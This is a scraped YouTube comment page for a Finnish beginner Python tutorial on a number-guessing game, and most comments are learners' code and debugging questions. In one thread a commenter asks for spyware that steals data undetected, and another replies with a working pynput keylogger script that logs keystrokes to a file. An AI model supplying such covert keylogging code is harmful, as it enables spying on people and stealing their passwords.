KOODATAAN PELI // Miskan Ohjelmointinurkka #2

Поділитися
Вставка
  • Опубліковано 22 гру 2024

КОМЕНТАРІ • 148

  • @EPICVID1
    @EPICVID1 5 років тому +79

    Uskon että näistä videoista on monelle ohjelmoinnista kiinnostuneille apua ja siksi on hyvä että näitä suomeksikin löytyy. On paljon helpompi opetella koodikieltä kun on joku joka osaa selittää sen helposti ymmärrettäväksi. Ja kun koulussa harjoitellaan ohjelmointia tehdään se scratchilla jolla et voi opetella koodikieliä.

    • @konstanen
      @konstanen 5 років тому +22

      Scratchissa oppii kyllä javaa. Meillä koulussa taas koodauksen opetus kusee koska:
      1: Opettajat väittävät, että koodaus on 9. luokkalaiselle täysin mahdotonta, koska matematiikan taidot eivät ole riittävällä tasolla. Haloo? Tarvitaanko siihen sitten vai joku tohtorintutkinto että voi edes alkeita opetella?
      Ja 2: Ne opettajat, jotka suostuvat opettamaan, käyttävät DrRacketin valmiita farssikieliä joita todellisuudessa ei voi käyttää mihinkään. Kyseiset kielet yrittävät olla selkeitä ja yksinkertaisia, mutta python rektaa ne milloin vain noissakin osa-alueissa.

    • @EPICVID1
      @EPICVID1 5 років тому +1

      @@konstanen Totta!

    • @viljamileppanen1790
      @viljamileppanen1790 5 років тому +1

      Eikö c++/ c sharppi olisi helpompi alkuun (nämä loopit on ainakin mielestäni helpompia)

    • @MKVD
      @MKVD  5 років тому +6

      C-suvun kielet ovat syntaksissaan huomattavasti monimutkaisempia, ja sen takia python on fiksumpi kieli opettaa

    • @Jonskuyt
      @Jonskuyt 5 років тому +1

      niimpä

  • @rampe7984
    @rampe7984 5 років тому +7

    Kiitos! Näitä lisää.

  • @l4ur148
    @l4ur148 5 років тому +14

    Oisko seuraavaksi simppeli hirsipuu peli?

    • @vihor0651
      @vihor0651 2 роки тому

      Voisin testaa koodaa

  • @zenkoaz
    @zenkoaz 5 років тому +14

    Oon opetellu sun innostamana pythonia

  • @niklashirvela
    @niklashirvela 5 років тому +3

    Hei! Asensin tänään Pythonin, Visual Studio Coden ja tarvittavat laajennukset koneeseeni ohjeittesi mukaan. Mutta vastaan tuli muutama ongelma:
    1. Play-nappulasta painettaessa avautuvaan keskukseen ei ole mahdollista kirjoittaa, joka on tämän pelin kannalta välttämättöntä. Kokeilin avata pelin Terminalissa, joka sitten mahdollisti kirjoittamisen
    2. Nyt kun sain pelin käyntiin ja kirjoitettua "kyllä", niin vastaan tuli toinen ongelma: Pelin sekaan ilmestyy tiedostopolku ja linkki sijaintiin, johon Visual Studio Code on asennettu. Tämä taasen tilttaa pelin täysin. Koodin ja lisäosat olen monesti tarkistanut, mutta se ei auttanut.
    -
    Ja sitten vielä yksi kysymys: Voisitko tehdä videon, jossa neuvotaan Windows 10:n komentokehotteen käyttöä minunlaiselleni harrastelijalle?

    • @MKVD
      @MKVD  5 років тому +4

      Juuri tämän takia ohjeistin siirtymään käyttämään VS coden sisäistä debuggeria, koska se mahdollistaa kirjoittamisen vs:än sisäiseen terminaali-ikkunaan jossa ohjelma pyöritetään

  • @tobimurskaaja540
    @tobimurskaaja540 5 років тому +3

    Nää Python koodaus videot on parhaita!näistä myös oppii paljon.

  • @jasu9872
    @jasu9872 5 років тому +9

    Nää oikeasti auttaa minua pythonin oppimisessa

  • @vilppi3542
    @vilppi3542 5 років тому +25

    Ite tein puhelin sovelluksella sun videon inspiroimana tämmösen simppelin noppapelin jossa isompi luku voittaa.
    Siinä on pelaaja1 ja pelaaja2
    Tässä on tää:
    from random import randint
    pelaaja1 = randint(1,6)
    pelaaja2 = randint(1,6)
    print(pelaaja1)
    print(pelaaja2)
    if pelaaja1 < pelaaja2:
    print("pelaaja2 voitti")
    elif pelaaja1 > pelaaja2:
    print("pelaaja1 voitti")
    else:
    print("tasapeli")

    • @vihor0651
      @vihor0651 2 роки тому

      @@umeet4144 mimo on hyvä millä oppii helposti

    • @vihor0651
      @vihor0651 2 роки тому

      Haluun kopioida tän mut en pysty☹️

    • @juu0019
      @juu0019 2 роки тому

      Ei toimk

    • @juu0019
      @juu0019 2 роки тому

      Ei toimi*

  • @teknoharmaa
    @teknoharmaa 4 роки тому +1

    voisitkotehä jonkun tutoriaalin arduinosta ja askelmoottoreista?

  • @vilhokuusisto6949
    @vilhokuusisto6949 5 років тому +5

    Tee lisää näitä!!

  • @AmazingWalkthroughYT
    @AmazingWalkthroughYT 3 роки тому

    Mitä tommonen kun syntax error tarkoittaa kun mulla tulee sellainen tässä koodissa.

  • @MrTeekannu
    @MrTeekannu 5 років тому +3

    loistavaa... tälläisiä kokeiltiin aikoinaan 8-bittisillä kotitietokoneilla 1980-luvulla BASICilla, kieli on eri mut idea on sama. Silloin oli vaan että koneissa ei ollut kunnon editoreita ja ainoa virheilmotus mitä se anto jos jossain teki virheen oli tyyliin SYNTAX ERROR on LINE 30

  • @springcar
    @springcar Рік тому +1

    Löytyy muuten Redditistä jo PELI KOODAUS sanoilla jo fun rakentavaa motivaatiota ja meillä on ilmainen put pro peli työkalu Unreal Engine. Kiitsa kaikille vinkeistä tsempata suomalaisiakin jotta motivoituvat rakentamaan tiimejä, pelikoodaajia, grafiikka taiteilijoita, ja peli-idean suunnittelijoita luomaan tiimejä . hmiset motivoituvat myös fyysisestä tapaamisista. Peli koodaajat ovat positiivisia ja motivoivia . Itse Käyn turun ja Helsingin alueella peli rakentamista motivoimassa. Peli koodaajat ovat positiivisia ja motivoivia jee :) Let your fire show! Hei tuo Patreon kelpaa suomalaisillekin pelin rakennus tiimeille positiivinen liekki. Kannatan! Pls answer creators! :)

  • @mystic1542
    @mystic1542 5 років тому +1

    Mulla ei toimi tulee koko ajan Syntax error vaikka kirjotan kaiken minkä säki

  • @savppi
    @savppi 5 років тому +2

    Mul on ongelma kun tein niin just ku sinä mut mul on 20rivin kaa syntaxError , mitä teen?

    • @temp0ra
      @temp0ra 5 років тому +1

      Sinulla on rivi ongelmia käy katsomassa rivisi ja käytä tabua korjaamiseen

  • @niklashirvela
    @niklashirvela 5 років тому +1

    Ihan mielenkiintoinen "peli". Voisi itsekin kokeilla.

  • @arttuperasto8930
    @arttuperasto8930 5 років тому +4

    hei näitä lisää vaikka ei tulis katsojia niin autat näillä monia!

  • @Ottotammine
    @Ottotammine 5 років тому +1

    Millon taas android vinkkejä

  • @pessimistinenpassi4294
    @pessimistinenpassi4294 5 років тому

    Onks Sulla kotona jotain pöytäkonetta tms. Jos oon niin specsejä?

  • @TunariPlay
    @TunariPlay 5 років тому +2

    Teet hyviä videoita😎 Todella taitava kaveri😯

  • @Peiksum
    @Peiksum 4 роки тому +1

    Haluaisin tehdä tuohon kyllä/ei kysymykseen myös vaihtoehdon "ei" jolla peli loppuu. Nyt kun kirjoittaa mitä tahansa muuta kun "kyllä" se loppuu.
    Miten sen saisi uudestaan kysymään kysymyksen jos kirjoitan jotain muuta kuin kyllä tai ei?

    • @gassu992
      @gassu992 4 роки тому +1

      Olet varmaan jo keksiny miten se tehdään, mutta siltä varalta että joku toinen haluaa tehdä saman, niin sen voi tehdä ainakin näin:
      from random import randint
      peli = False
      aloitus = True
      print("*" * 20)
      print("Tervetuloa pelaamaan!")
      print("*" * 20)
      while aloitus:
      #sama asia kuin while aloitus == True
      vastaus = randint(0,100)
      kysymys = input("Haluatko pelata? (Kyllä/ei)")
      if kysymys == "kyllä":
      yritykset = 0
      peli = True
      print("Arvaa oikea luku!")
      while peli == True:
      arvaus = int(input("Syötä arvauksesi: "))
      if arvaus < vastaus:
      print("Oikea vastaus on suurempi. Arvaa uudestaan.")
      yritykset += 1
      #sama asia kuin yritykset = yritykset + 1
      elif arvaus > vastaus:
      print("Oikea vastaus on pienempi. Arvaa uudestaan.")
      yritykset += 1
      else:
      peli = False
      yritykset += 1
      print("Arvasit oikein!")
      print("Sinulla meni vain ", yritykset, " yritystä!")
      elif kysymys == "ei":
      print("Hei hei. Nähdään pian!")
      aloitus = False

      else:
      print("Vastaa joko kyllä tai ei!")
      Tuossa toki "ylimmäräisenä" ominaisuutena on myös laskuri joka laskee yritys kerrat

    • @vihor0651
      @vihor0651 2 роки тому

      @@gassu992 kiitti oli apia

    • @vihor0651
      @vihor0651 2 роки тому

      Apua*😅

  • @wallu7587
    @wallu7587 2 роки тому

    Pystyisitkö tehä videon missä kerrot kaikki pythonin salat

  • @springcar
    @springcar Рік тому +1

    Tekisivatpa lisaa pelikoodaus videoita ja Arduino robottiaxeli videoita! :D

  • @jalnyr
    @jalnyr 2 роки тому +1

    oikeesti ihan sika hyvä video sovelsin pikkuse tota ideaa ja tein siit ohjelman jolla opettelen kokeisiin ja on auttanu paljon

  • @ToniPlays_
    @ToniPlays_ 5 років тому +2

    Sain visuaalisen syövän puolipisteen puuttumisesta...
    PS: mahtava video

  • @Jaskab0b
    @Jaskab0b 4 роки тому +1

    Ite en löydä mistään debuggia.

  • @vili627
    @vili627 5 років тому

    mkvd osaistko sanoa miks mulla on source control ja debug kohassa mun pitää valita python ja tämmöstä osaako joku auttaa?

    • @jamespotkukelkka0
      @jamespotkukelkka0 5 років тому

      Itelläki sama homma mutta jos se avaa semmosen launch.json tiedostson nii sun pitää jättää se sinne taustalle ni ei tarvi aina valita uudestaan sitä current python juttua. Toivottavasti autto ees vähä...

  • @Jonskuyt
    @Jonskuyt 5 років тому +1

    kiitos ku teet näit videoit täst koodaamisest, sen ekan osan ansiost alotin koodaamisen

  • @traingraphy9813
    @traingraphy9813 5 років тому

    Miten voi tehdä pelin sillain että peli ei olisi vain "koodikeittoa" vaan esim Clash of clans siinä ei näy koodeja vaan esim. Sotilaita yms...?

    • @elvisahonen9346
      @elvisahonen9346 5 років тому +2

      Pythonilla mut lisäät vaa grafiikkaa ja ohjelmoit ne kaikki näppäimet ja animaatiot

    • @traingraphy9813
      @traingraphy9813 5 років тому

      Ai niin kuin niillä "ulkoisilla kirjastoilla"?

    • @MKVD
      @MKVD  5 років тому +2

      Pythonilla graafisten pelien luomiseen tarkoitettuja kirjastoita löytyy, kuten esimerkiksi PyGame, mutta sen käyttäminen vaatii suurempaa ymmärrystä Pythonista ja esim. Olio-ohjelmoinnista. Kuitenkin myöhemmin tämä voisi olla mahdollista!

    • @MKVD
      @MKVD  5 років тому

      Nopean googlauksen jälkeen Supercell näyttäisi käyttävän C++ sekä Objective C:tä

    • @an0nym0ud74
      @an0nym0ud74 5 років тому

      @@toke9352 nii ja siin on opengl:t ja muut libraryt

  • @ScratchTuto
    @ScratchTuto 5 років тому +2

    Mulla kesti 2h koska luulin että se ei oo niin vitun tarkka mutta kyllä oli yks komento oli yhen välin väärällä paikalla oot paras lisää koodausta tulee oikeesti sulla pitäis olla 1000000009099 seuraajaa koska oot niin hyvä

  • @xlumipyry8805
    @xlumipyry8805 5 років тому

    miten pystyy tallentaa ton pelin sillee et voi pelata sitä myöhemmin ja testattaa kavereilla

    • @panchoprkl4452
      @panchoprkl4452 5 років тому +1

      Onko sinulla Python asennettuna ja tuo scripti kirjoitettuna?

    • @xlumipyry8805
      @xlumipyry8805 5 років тому

      @@panchoprkl4452 joo tottakai

    • @panchoprkl4452
      @panchoprkl4452 5 років тому

      @@xlumipyry8805 Jos olet ohjelman onnistuneesti jo aikaisemmin ajanut, etsi koneeltasi kansio: C:\Users\omakäyttäjäsi\AppData\Local\Programs\Python\Python37\
      Scriptin pitäisi näkyä siellä.
      Seuraavan kerran kannattaa tallentaa esim. työpöydälle jotta scripti helpompi löytää. :)

    • @jamespotkukelkka0
      @jamespotkukelkka0 5 років тому +1

      @@xlumipyry8805 ittellä ainaki tallentaa automattisesti

  • @jonninen7362
    @jonninen7362 5 років тому

    mitehä vitussa tänki onnistuin kusee tulee joku SyntaxError: invalid syntax

    • @t0msa
      @t0msa 5 років тому +1

      sehän kertoo sen errorin sulle, oot vaan laittanut jonkun merkin sinne väärällä tavalla. kato se code läpi ja kokeile compilaa uudelleen.

  • @Laatikkoz
    @Laatikkoz 3 роки тому +1

    from random import randint
    vastaus = randint(0,100)
    peli = False
    print("*" * 20)
    print("Tervetuloa Pelaamaan!")
    print("*" * 20)
    kysymys = input("Haluatko pelata (kyllä/ei:"): )
    if kysymys == "kyllä":
    peli = True
    print("Aloitetaan peli")
    else:
    print("Nähdään pian")
    onko tässä joku virhe ku ei toimi

    • @Zantuuh
      @Zantuuh 3 роки тому

      et varmaan taida tarvita tätä enään, mutta sulla on tossa kysymys = input("Haluatko pelata (kyllä/ei:"): ) vähän väärin. Sen pitäisi mennä näin kysymys = input("Haluatko pelata? (kyllä/ei): ")

    • @Laatikkoz
      @Laatikkoz 2 роки тому

      @@Zantuuh Joo kyllä mää oon jo huomannut tuon

  • @rubeushagrid4077
    @rubeushagrid4077 4 роки тому

    Onko kellään tietoa miks mun koodi ei mee pois päältä jos vastaa "ei" tohon ensimmäiseen kysymykseen?
    tässä on se koodi:
    from random import randint
    peli = False
    print(" " * 10)
    print("Tervetuloa pelaamaan!")
    print(" " * 10)
    kysymys = input("Haluatko pelata? (kyllä/ei): ")
    print(" " * 10)
    if kysymys == "kyllä":
    peli = True
    print("Aloitetaan peli!")
    else:
    peli = False
    print("Nähdään pian!")
    print(" " * 10)
    if peli == False:
    kysymys2 = input(" " * 0)
    if peli == True:
    kysymys2 = input("Valitse vaikeustaso (helppo/normaali/vaikea): ")
    print(" " * 10)
    if kysymys2 == "helppo":
    print("Valitsit vaikeustasoksi Helppo!")
    if kysymys2 == "normaali":
    print("Valitsit vaikeustasoksi Normaali!")
    if kysymys2 == "vaikea":
    print("Valitsit vaikeustasoksi Vaikea!")
    if kysymys2 == "helppo":
    vastaus1 = randint(0,100)
    print(" " * 10)
    print("Arvaa oikea luku 0-100!")
    print(" " * 10)
    if kysymys2 == "normaali":
    vastaus1 = randint(0,500)
    print(" " * 10)
    print("Arvaa oikea luku 0-500!")
    print(" " * 10)
    if kysymys2 == "vaikea":
    vastaus1 = randint(0,1000)
    print(" " * 10)
    print("Arvaa oikea luku 0-1000!")
    print(" " * 10)
    while kysymys2 == "helppo":
    arvaus = int(input("Syötä arvauksesi: "))
    if arvaus < vastaus1:
    print("Oikea vastaus on suurempi!")
    elif arvaus > vastaus1:
    print("Oikea vastaus on pienempi!")
    else:
    print("Arvasit Oikein!")
    break
    while kysymys2 == "normaali":
    arvaus = int(input("Syötä arvauksesi: "))
    if arvaus < vastaus1:
    print("Oikea vastaus on suurempi!")
    elif arvaus > vastaus1:
    print("Oikea vastaus on pienempi!")
    else:
    print("Arvasit Oikein!")
    break
    while kysymys2 == "vaikea":
    arvaus = int(input("Syötä arvauksesi: "))
    if arvaus < vastaus1:
    print("Oikea vastaus on suurempi!")
    elif arvaus > vastaus1:
    print("Oikea vastaus on pienempi!")
    else:
    print("Arvasit Oikein!")
    break

    • @rubeushagrid4077
      @rubeushagrid4077 4 роки тому

      nyt sain toimimaan. "peli = False" piti vain vaihtaa "quit(peli)"

  • @snage6787
    @snage6787 5 років тому

    Yksi vaihtoehto olisi myös tehdä Peli muuttujan sijaan loputon while silmukka ja katkaista se breakilla

    • @MKVD
      @MKVD  5 років тому

      Totta, mutta yleensä while True-silmukat ovat ns. "Huonoja" tapoja ohjelmoinnissa :D

  • @eetuheikkila9811
    @eetuheikkila9811 4 роки тому

    miks mulla tulee joku väärin vaikka teen prikulleen samalla lailla

  • @kake00660
    @kake00660 4 роки тому

    from random import randint
    peli = false
    vastaus = randint(0,100)
    print("*" * 10)
    print("tervetuloa pelaamaan!!")
    print("*" * 10)
    kysymys = input("haluatko pleata? kyllä/ei: ")
    if kysymys == "kyllä"
    peli true
    print("aloitetaan plei")
    else:
    print("nähdään pian") eiks tos ole
    osa niistä koodeista?

    • @rubeushagrid4077
      @rubeushagrid4077 4 роки тому

      Mitä meinaat tällä? Tuos on tosi moni asia väärin

    • @kake00660
      @kake00660 4 роки тому

      @@rubeushagrid4077 pystyks laittaa ne oikein?

    • @rubeushagrid4077
      @rubeushagrid4077 4 роки тому

      from random import randint
      vastaus = randint(0,100)
      peli = False
      print("*" * 21)
      print("Tervetuloa pelaamaan!")
      print("*" * 21)
      kysymys = input("Haluatko pelata? (kyllä/ei): ")
      if kysymys == "kyllä":
      peli = True
      print("Aloitetaan peli!")
      print("Arvaa oikea luku: 0-100")
      else:
      print("Nähdään pian!")
      while peli == True:
      arvaus = int(input("Syötä arvauksesi: "))
      if arvaus < vastaus:
      print("Oikea vastaus on suurempi!")
      elif arvaus > vastaus:
      print("Oikea vastaus on pienempi!")
      else:
      print("Arvasit oikein!")
      peli = False

    • @kake00660
      @kake00660 4 роки тому

      @@rubeushagrid4077 kitti nyt voin iteki testaa tota pelii

    • @rubeushagrid4077
      @rubeushagrid4077 4 роки тому

      @@kake00660 mikset vaan ite kirjota tota niinkun videolla tehtiin?

  • @Laatikkoz
    @Laatikkoz 3 роки тому

    miten tostaa saa exe tiedoston

  • @wallu7587
    @wallu7587 2 роки тому

    Millo osa 3?

  • @Niko-yl3du
    @Niko-yl3du 5 років тому +1

    Opeta miten koodataan vakoiluohjelma joka varastaa koneesta Tietoja ilman että Windows varoittaa siitä ja lähettää ne tiedot johonkin sovellukseen.
    Edit: olisi käyttöä.

    • @juhoffer5474
      @juhoffer5474 5 років тому

      🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔

    • @panchoprkl4452
      @panchoprkl4452 5 років тому +1

      Tässä esimerkki yhdestä tavasta kirjoittaa keylogger scripti. Vakoilu on laitonta enkä missään nimessä rohkaise rikolliseen toimintaan. Kirjoitin scriptin opetustarkoitusta varten.
      Tarvitaan python stantard libraryn ulkopuolinen paketti, command kenttä auki ja kirjoita: pip install pynput.
      Varsinainen koodi:
      ## Kommentti, muistithan ladata pynputin? pip install pynput
      ## Imports
      import os
      from time import sleep
      from pynput.keyboard import Listener, Key
      ## Functio
      def on_press(key):
      lista.append(key)
      if key == Key.end:
      return False
      ## Hakee Windows käyttäjänimen jotta löytää työpöydän tekstitiedoston tallentamista varten
      käyttäjänimi = os.getlogin()
      ## Millä nimellä haluat tallentaa tekstitiedoston johon ohjelma kerää dataa?
      tiedostonimi = 'keylogged.txt'
      ## Ohjelma parsii kasaan polun johon tallentaa tekstitiedosto
      ## Huomaa että käyttöjärjestelmäni on englanniksi
      ## Jos ja kun sinun omasi on suomeksi, joudut vaihtamaan todennäköisesti sanat 'Users' ja 'Desktop' suomiversioiksi.
      polku = 'C:\\Users\\%s\\Desktop\\%s' % (käyttäjänimi, tiedostonimi)
      ## Luodaan pari listaa joita käytetään myöhemmin
      lista = []
      teksti = []
      ## Looppi joka käynnissä ohjelman käynnistyttyä kunnes painetaan näppäintä 'end', löytyy enter nappulan oikealta puolelta.
      while True:
      with Listener(on_press=on_press) as l:
      l.join()
      for i in iter(lista):
      if i == Key.enter:
      teksti.append('enter')
      elif i == Key.space:
      teksti.append(' ')
      elif i == Key.end:
      pass
      else:
      teksti.append(i)
      break
      ## Sleep nukkuu sekunnin verran jokaisen loopin välillä jottei prossusi käy turhan kuumana.
      time.sleep(1)
      ## Kun 'end' nappula on painettu ja ohjelma poistuu while loopista, kirjoitetaan kerätty data tekstitiedostoon jonka tallennuskohteen määritit jo aikaisemmin.
      with open(polku, 'a') as file:
      print(teksti, file=file)

    • @I..-_-..I
      @I..-_-..I 5 років тому

      @@panchoprkl4452 miten ton saisi menemään muistitikulle ton tiedoston

  • @beautifulnightcore438
    @beautifulnightcore438 5 років тому

    Mul itel tulee tohon vikan elif kohalle alle punanen viiva ja siks sitä ei pysty suorittamaan D:

  • @monni429
    @monni429 5 років тому +2

    Jee

  • @ilmarihilli4941
    @ilmarihilli4941 5 років тому +1

    Jes

  • @vihor0651
    @vihor0651 2 роки тому

    Kertokaa mitä tein tässä väärin????
    from random import randint
    vastaus = randint(0,100)
    peli = False
    print("*" * 20)
    print("Tervetuloa pelaamaan!")
    print("*" * 20)
    kysymys = input("Haluatko pelata? (kyllä/ei): ")
    if kysymys == "kyllä":
    peli = True
    print("*" * 20
    print("Aloitetaan peli!")
    print("*" * 20
    print("Arvaa oikea luku!")
    print("*" * 20)
    else:
    print("Hei hei. Pelataan myöhemmin!")
    print("*" * 20)
    while peli == True:
    arvaus = int(input("Syötä arvauksesi!: "))
    if arvaus < vastaus:
    print("Oikea vastaus on suurempi!")
    elif arvaus > vastaus:
    print("Oikea vastaus on pienempi!")
    else:
    print("Arvasit oikein!")
    peli = False

  • @NotThatteriinoMathguy2
    @NotThatteriinoMathguy2 5 років тому +1

    jee lisää tätä oon odottanut

  • @FinMarkMedia
    @FinMarkMedia 5 років тому

    voikko laittaa ton koodin desciin koska mulla ei toimi toi se vaa sanoo loputtomasti jotain "syötä arvauksesi"

    • @MKVD
      @MKVD  5 років тому

      Siinä tapauksessa suosittelen vertailemaan koodeja ja miettimään mistä ongelma tulee ja miten se korjataan. Paras mahdollinen tapa oppia!

  • @NiklasAnnala
    @NiklasAnnala 2 роки тому

    kiitti opin ihan sairaasti uutta

  • @lettuz6177
    @lettuz6177 4 роки тому

    Ite tein toho viel semmosen et voit kirjoittaa Jatka pelin jälkeen niin peli jatkuu ja aina ku oot voittanut nii jos kirjoitat jotain muuta kuin jatka nii peli sammuu.

  • @miiavaisanen8258
    @miiavaisanen8258 5 років тому +1

    ei toimi se nappi joka pelin pyörimään

  • @naksuboi1433
    @naksuboi1433 4 роки тому

    Opeta stringit ja variableja lisää

  • @lauri840
    @lauri840 5 років тому

    Lisää koodaamista vaikka jotain vaikempaa kun ite tykkään koodaa

  • @MKA874
    @MKA874 5 років тому +1

    Oisiko pian uuden videon aika. Itse olen menossa ict:lle

  • @eemeli9825
    @eemeli9825 5 років тому +1

    Muokkasin sitä silleen että se vielä jatkuu

  • @blackarrow5954
    @blackarrow5954 5 років тому

    Mulla on semmone ongelma tuossa pythonissa että ku laittaa ä:n tai ö:n niin sitte ku painaa playtä niin se ei tunnista niitä. Tullee vaa jottai ihme merkkejä niitten tilalle.

    • @blackarrow5954
      @blackarrow5954 5 років тому

      Toivottavasti joku osais auttaa. Ei siitä ainakkaa vielä mittää ongelmia oo ollu mutta vähä turhan häirihtevä.

    • @MKVD
      @MKVD  5 років тому

      Tältä sivulta löytyy infoa miten tuo korjataan, tähän suoraan koodin kopioiminen tuotti ongelmia :D
      www.ohjelmointiputka.net/oppaat/opas.php?tunnus=python_l2

    • @blackarrow5954
      @blackarrow5954 5 років тому

      @@MKVD Jahas. Kiitoksia tuosta linkistä. Pittääpä koittaa tuon avulla selevittää asia🤔👍

  • @mmkkik1600
    @mmkkik1600 5 років тому

    Kuinka moni teki tän

  • @olli89matikainen65
    @olli89matikainen65 5 років тому

    Voisko joku kertoa mitä ohjelmointi on, koska en ole varma. PS ei ole jekku vaan en oikeasti tiedä tarkalleen.

    • @vili627
      @vili627 5 років тому +1

      ohjelmointi tarkoittaaa vaikka sitä että kerrot koneeelle mitä sen pitää tehdä ja ohjelmoinnilla voidaan myös tarkoittaa pelin tekemistä riippuu vähän.

  • @BusaVLOG
    @BusaVLOG 4 роки тому

    Koitin soveltaa tätä ns tekstiseikkailuun, mutta joku kusee....
    kysymys = input("Haluatko blablabla? (kyllä/ei: ")
    if kysymys == "kyllä":
    game = True
    print("blablabal!")
    else:
    print("blablabla!")
    while game == True:
    k1 = input("balblbabla? (kyllä/en: ")
    if k1 == "kyllä":
    print("Tämä rivi antaa erroria, jota en jostain syystä ymmärrä.")
    print("Mikä auttaisi?")
    if k1 == "en":
    print("Ja nää sun videot on mahtavia, jopa vanhempi konkari innostuu vielä!")
    print("Minä: Miksi tästä ei tuu mitään?!?!")
    Tossa koodin pätkä joka kusee. Toki teksti muutettu print komennoista enemmän lapsille sopivaksi :D

    • @MKVD
      @MKVD  4 роки тому

      Tarkista, että kaikki sulkeet myös suljetaan! Jos inputin "ohjetekstissä" on sulkeet, täytyy pitää huolta että itse komentokin suljetaan.
      Input("esimerkki (tämä pitää sulkea erikseen komennosta)")

    • @BusaVLOG
      @BusaVLOG 4 роки тому

      @@MKVD Ongelma oli tuossa if k1== "kyllä"
      print kohdassa.
      print komennot eivät olleet oikeassa paikassa vaan omia rivejään :D Hetki meni selvittäessä, mutta kiitokset!
      Innolla odotan lisää opettavaisia videoita!

    • @BusaVLOG
      @BusaVLOG 4 роки тому

      Esimerkiksi tuollainen pieni tekstiseikkailu muutamalla valinnaisella vaihtoehdolla olisi hieno opetus.
      Itse tuskailen koodissa nyt sen kanssa miten saan koodin jatkamaan tiettyä polkua.
      Esim jos koodissa on kohta missä on vaihtoehsot kyllä tai ei ja molemmat vastaukset vievät peliä eri suuntiin.
      Ja myös miten siitä päästään jatkamaan samaan kohtaan myöhemmin oli vastaus kumpi tahansa.
      Sekava selitys,. mutta toivottavasti ymmärsit ja kauhean koodaus opettelun kuumeen aiheutit :D

  • @ak-47m
    @ak-47m 5 років тому

    joku mobiili peli ois kiva

  • @ollutv3415
    @ollutv3415 3 роки тому +1

    tästä vidistä oli oikeesti tosi paljon apua

  • @moifani3321
    @moifani3321 5 років тому +1

    Koodaa seuraavaksi Vaikka #pong

  • @mikkokoskela9188
    @mikkokoskela9188 5 років тому

    mä tein ihan samalla tavalla mut se ei toiminu...
    mä en saanu kirjotettua siihen kohtaa mihnä oli se "syötä arvauksesi"
    kaiken tein täysin samoin ja tarkistinki viä mut ei toimi
    Mun koodi rivit:
    from random import randint
    vastaus = randint(0,100)
    peli = False
    print("*" * 20)
    print("Tervetuloa pelaamaan!")
    print("*" * 20)
    kysymys = input("haluatko pelata? (kyllä/ei): ")
    if kysymys == "kyllä":
    peli = True
    print("aloitetaan peli!")
    print("Arvaa oikea luku!")
    else:
    print("Nähdään pian!")
    while peli == True:
    arvaus = int(input("Syötä arvauksesi: "))
    if arvaus < vastaus:
    print("Oikea vastaus on suurempi")
    elif arvaus > vastaus:
    print("Oikea vastaus on pienempi")
    else:
    print("Arvasit oikein")
    peli = False

    • @panchoprkl4452
      @panchoprkl4452 5 років тому

      Kokeilin kirjoittamaasi koodia ja se toimii niinkuin pitääkin. Tarkista vielä, että scriptin loppupuolella alkava while loop on samalla tasolla kuin ylempänä olevat if ja else statementit. Nyt näyttää siltä että while looppisi olisi sisennettynä.

  • @SpireSpiruilua
    @SpireSpiruilua 5 років тому

    Osaaks opettaa .lua koodia osaan sitä hieman mutta en kaikkea niin että joo

  • @triogamers-pelivideot1734
    @triogamers-pelivideot1734 4 роки тому

    Auttaa paljon

  • @yuroseta1298
    @yuroseta1298 5 років тому

    Moi kaikki

  • @terotammi9313
    @terotammi9313 4 роки тому

    muuten hyvä mutta tolkuttomasti liikaa mainoksia

  • @server123
    @server123 2 роки тому

    lol mun koko kodi on paskana
    from random import randint
    vastaus = randint(0,100)
    peli = False
    print(vastaus)
    print("*" * 20)
    print(Tervetuloa pelaamaan peliä)
    print("*" * 20)
    kysymys = input("Haluatko pelata? (Kyllä/Ei) ")
    if kysymys == "kyllä":
    peli = True
    print("Aloitetaan peli")
    print("Arvaa numero")
    else:
    print("Miksi :(")
    while peli == True:
    arvaus = input("Syötä arvauksesi: ")
    if arvaus < vastaus:
    print(Oikea vastaus on suurempi!)
    elif arvaus > vastaus:
    print("Oikea vastaus on pienempi!")
    else:
    print("Arvasit oikein!")

  • @hugozi_
    @hugozi_ 4 роки тому

    from random import randint
    vastaus = randint(0,100)
    peli = False
    print("*" * 20)
    print("Tervetuola pelaamaan")
    print("*" * 20)
    kysymys = input("Haluatko aloittaa pelin? (kyllä/ei): ")
    if kysymys == "kyllä":
    peli = True
    print("Aloitetaaan peli!")
    print("Arvaa oikea luku!")
    else:
    print("Nähdään pian!")
    while peli == True:
    arvaus = input("Syötä arvauksesi: ")
    if arvaus < vastaus:
    print("Oikea vastaus on suurempi!")
    elif arvaus > vastaus:
    print("Oikea vastaus on pienempi!")
    else:
    print("Arvasit oikein!")
    peli = False
    MIKS TÄÄ EI TOIMI SE SANOO TOLLE:

    IndentationError: expected an indented block

    • @hugozi_
      @hugozi_ 4 роки тому

      MIKS TOI EI TOIMINU

    • @MKVD
      @MKVD  4 роки тому

      while peli == True: -lohko on sisennetty väärin

    • @hugozi_
      @hugozi_ 4 роки тому

      Juu huomasin ja siel oli joku muukin juttu väärin nyt toimii hyvin laitoin että se arpoo numeron 0-500

    • @hugozi_
      @hugozi_ 4 роки тому

      Kiitos näistä hyvistä videoista

  • @tjn1017
    @tjn1017 5 років тому +1

    Tee unity opetus video

  • @eemeli9825
    @eemeli9825 5 років тому +1

    Tää on parasta

  • @finana2218
    @finana2218 5 років тому +1

    .

  • @veeti628
    @veeti628 5 років тому

    Nice!

  • @saatanantunari7492
    @saatanantunari7492 3 роки тому

    Tein kaikki oikein mut en saanu toimimaan

    • @aitislol2215
      @aitislol2215 3 роки тому

      mitä siinä tulee? tai lähetä koodi niin korjaan sen.

  • @akseli9077
    @akseli9077 5 років тому

    Teknoo

  • @mirjamistalnacke3612
    @mirjamistalnacke3612 2 роки тому

    Moi

  • @arttu1229
    @arttu1229 5 років тому +3

    Tee discord bot

  • @SusiFer667
    @SusiFer667 5 років тому

    Varmaan turhan hankala kolmannen jakson aiheeksi, mutta itseäni kiinostaisi tietää miten ohjelmoidaan AI.

    • @veikko7783
      @veikko7783 5 років тому +1

      No se on sit vähä haastavampi homma

    • @niklashirvela
      @niklashirvela 5 років тому

      Sitä ei ohjelmoida, se opetetaan.

  • @jonitummunki2805
    @jonitummunki2805 5 років тому

    Okhe***

  • @BLAGU-zo8ql
    @BLAGU-zo8ql 5 років тому +1

  • @fyzzoh
    @fyzzoh 5 років тому

    öö ei tää oo fortnite

  • @KaiSimolaHandEngraver
    @KaiSimolaHandEngraver 2 роки тому

    Hyvä video ,mutta mulla kaatuu homma, tulee tämä herja>>> reportUndefinedVariable Diagnostics for undefined variables.

  • @FakeRoba
